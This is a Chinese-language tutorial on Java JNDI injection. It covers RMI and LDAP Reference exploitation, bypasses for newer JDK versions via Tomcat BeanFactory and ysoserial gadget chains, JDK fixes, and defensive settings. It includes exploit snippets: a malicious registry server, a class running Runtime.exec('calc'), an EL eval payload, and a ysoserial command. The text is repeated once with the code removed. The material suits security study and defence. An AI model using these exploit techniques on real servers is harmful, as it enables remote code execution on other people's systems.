深入学习 Java 反序列化之 JNDI 运行逻辑
字数 2113 2025-08-12 11:34:07

Java JNDI 注入漏洞深入分析与利用

1. JNDI 基础概念

1.1 什么是 JNDI

JNDI (Java Naming and Directory Interface) 是 Java 名称与目录接口,提供了一种统一的方式来访问命名和目录服务。其核心功能是将名称与 Java 对象关联起来,实现"字符串对应对象"的映射关系。

1.2 JNDI 支持的服务类型

JNDI 在 JDK 中支持以下四种主要服务:

  1. LDAP:轻量级目录访问协议
  2. CORBA:通用对象请求代理架构
  3. RMI:Java 远程方法调用注册表
  4. DNS:域名系统服务

1.3 JNDI 核心包结构

JNDI 接口主要分为 5 个包:

  • javax.naming:核心包,包含 Context、Bindings、References、lookup 等关键类和接口
  • javax.naming.directory
  • javax.naming.event
  • javax.naming.ldap
  • javax.naming.spi

2. JNDI 注入漏洞原理

2.1 基本利用流程

JNDI 注入漏洞的核心在于攻击者可以控制 lookup() 方法的参数,使其指向恶意的命名服务。典型攻击流程如下:

  1. 攻击者搭建恶意 RMI/LDAP 服务
  2. 应用调用 InitialContext.lookup(attackerControlled)
  3. 客户端从攻击者控制的服务器加载恶意类
  4. 恶意类中的静态代码块或构造函数执行任意代码

2.2 关键类与方法

  • InitialContext:JNDI 的初始上下文
  • lookup():核心漏洞触发点
  • Reference:用于引用远程对象的类
  • ReferenceWrapper:RMI 服务中包装 Reference 的类

3. JNDI 注入利用方式

3.1 RMI + Reference 利用

服务端代码示例:

InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);

恶意类示例:

public class JndiCalc {
    public JndiCalc() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

利用条件:

  • JDK 版本 < 8u121/7u131/6u141
  • 需要目标服务器能访问攻击者的 HTTP 服务

3.2 LDAP + Reference 利用

LDAP 服务端示例:

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();

LDAP 相比 RMI 的优势:

  • 不受 com.sun.jndi.rmi.object.trustURLCodebase 等属性限制
  • 适用范围更广(直到 JDK 8u191/7u201/6u211 才默认禁用)

4. 高版本 JDK 绕过技术

4.1 JDK 8u121-8u191 之间的绕过

绕过原理:
利用本地 ClassPath 中存在的恶意 Factory 类作为 Reference Factory

常用类:
org.apache.naming.factory.BeanFactory(存在于 Tomcat8 依赖中)

利用代码示例:

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, true, 
    "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", 
    "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")..."));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

4.2 JDK 8u191+ 的绕过方式

方法:利用 LDAP 返回序列化数据触发本地 Gadget

  1. 生成 CommonsCollections Gadget:
java -jar ysoserial.jar CommonsCollections6 'calc' | base64
  1. LDAP 服务端设置 javaSerializedData 属性:
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNy..."));
  1. 客户端触发反序列化:
context.lookup("ldap://localhost:1234/ExportObject");

依赖条件:

  • 目标 ClassPath 中存在可利用的反序列化 Gadget(如 Commons-Collections)
  • 适用于 Fastjson 等反序列化漏洞的利用

5. JDK 版本限制与修复

5.1 关键版本限制

JDK 版本 限制内容
6u141/7u131/8u121 默认禁用 RMI/LDAP 的远程代码加载
6u211/7u201/8u191 完全禁用 LDAP 的远程代码加载

5.2 修复原理

JDK 通过添加 trustURLCodebase 检查来修复:

public Class<?> loadClass(String className, String codebase) 
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {
        // 允许加载远程类
    } else {
        return null;
    }
}

默认情况下 trustURLCodebase 为 false,阻止了远程类的加载。

6. 漏洞防御建议

  1. 升级 JDK 到最新安全版本
  2. 对用户输入进行严格过滤,避免不可信数据传入 lookup() 方法
  3. 设置 JVM 安全属性限制 JNDI 访问:
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    
  4. 使用安全管理器限制代码执行权限

7. 调试与分析技巧

  1. 关键断点位置

    • InitialContext.lookup()
    • RegistryContext.decodeObject()
    • NamingManager.getObjectInstance()
    • NamingManager.getObjectFactoryFromReference()
  2. 调试流程

    • 跟踪 lookup() 方法调用链
    • 观察 Reference 对象的处理过程
    • 监控类加载行为
  3. 重点关注

    • 对象反序列化过程
    • 动态类加载机制
    • Factory 类的实例化过程

8. 总结

JNDI 注入漏洞是 Java 安全领域的重要漏洞类型,其利用方式随着 JDK 版本的更新而不断演变。理解其原理和绕过技术对于安全研究和防御都至关重要。在实际应用中,应当综合采用升级、过滤、权限控制等多种手段进行防护。

Java JNDI 注入漏洞深入分析与利用 1. JNDI 基础概念 1.1 什么是 JNDI JNDI (Java Naming and Directory Interface) 是 Java 名称与目录接口,提供了一种统一的方式来访问命名和目录服务。其核心功能是将名称与 Java 对象关联起来,实现"字符串对应对象"的映射关系。 1.2 JNDI 支持的服务类型 JNDI 在 JDK 中支持以下四种主要服务: LDAP :轻量级目录访问协议 CORBA :通用对象请求代理架构 RMI :Java 远程方法调用注册表 DNS :域名系统服务 1.3 JNDI 核心包结构 JNDI 接口主要分为 5 个包: javax.naming :核心包,包含 Context、Bindings、References、lookup 等关键类和接口 javax.naming.directory javax.naming.event javax.naming.ldap javax.naming.spi 2. JNDI 注入漏洞原理 2.1 基本利用流程 JNDI 注入漏洞的核心在于攻击者可以控制 lookup() 方法的参数,使其指向恶意的命名服务。典型攻击流程如下: 攻击者搭建恶意 RMI/LDAP 服务 应用调用 InitialContext.lookup(attackerControlled) 客户端从攻击者控制的服务器加载恶意类 恶意类中的静态代码块或构造函数执行任意代码 2.2 关键类与方法 InitialContext :JNDI 的初始上下文 lookup() :核心漏洞触发点 Reference :用于引用远程对象的类 ReferenceWrapper :RMI 服务中包装 Reference 的类 3. JNDI 注入利用方式 3.1 RMI + Reference 利用 服务端代码示例: 恶意类示例: 利用条件: JDK 版本 < 8u121/7u131/6u141 需要目标服务器能访问攻击者的 HTTP 服务 3.2 LDAP + Reference 利用 LDAP 服务端示例: LDAP 相比 RMI 的优势: 不受 com.sun.jndi.rmi.object.trustURLCodebase 等属性限制 适用范围更广(直到 JDK 8u191/7u201/6u211 才默认禁用) 4. 高版本 JDK 绕过技术 4.1 JDK 8u121-8u191 之间的绕过 绕过原理: 利用本地 ClassPath 中存在的恶意 Factory 类作为 Reference Factory 常用类: org.apache.naming.factory.BeanFactory (存在于 Tomcat8 依赖中) 利用代码示例: 4.2 JDK 8u191+ 的绕过方式 方法:利用 LDAP 返回序列化数据触发本地 Gadget 生成 CommonsCollections Gadget: LDAP 服务端设置 javaSerializedData 属性: 客户端触发反序列化: 依赖条件: 目标 ClassPath 中存在可利用的反序列化 Gadget(如 Commons-Collections) 适用于 Fastjson 等反序列化漏洞的利用 5. JDK 版本限制与修复 5.1 关键版本限制 | JDK 版本 | 限制内容 | |---------|---------| | 6u141/7u131/8u121 | 默认禁用 RMI/LDAP 的远程代码加载 | | 6u211/7u201/8u191 | 完全禁用 LDAP 的远程代码加载 | 5.2 修复原理 JDK 通过添加 trustURLCodebase 检查来修复: 默认情况下 trustURLCodebase 为 false,阻止了远程类的加载。 6. 漏洞防御建议 升级 JDK 到最新安全版本 对用户输入进行严格过滤,避免不可信数据传入 lookup() 方法 设置 JVM 安全属性限制 JNDI 访问: 使用安全管理器限制代码执行权限 7. 调试与分析技巧 关键断点位置 : InitialContext.lookup() RegistryContext.decodeObject() NamingManager.getObjectInstance() NamingManager.getObjectFactoryFromReference() 调试流程 : 跟踪 lookup() 方法调用链 观察 Reference 对象的处理过程 监控类加载行为 重点关注 : 对象反序列化过程 动态类加载机制 Factory 类的实例化过程 8. 总结 JNDI 注入漏洞是 Java 安全领域的重要漏洞类型,其利用方式随着 JDK 版本的更新而不断演变。理解其原理和绕过技术对于安全研究和防御都至关重要。在实际应用中,应当综合采用升级、过滤、权限控制等多种手段进行防护。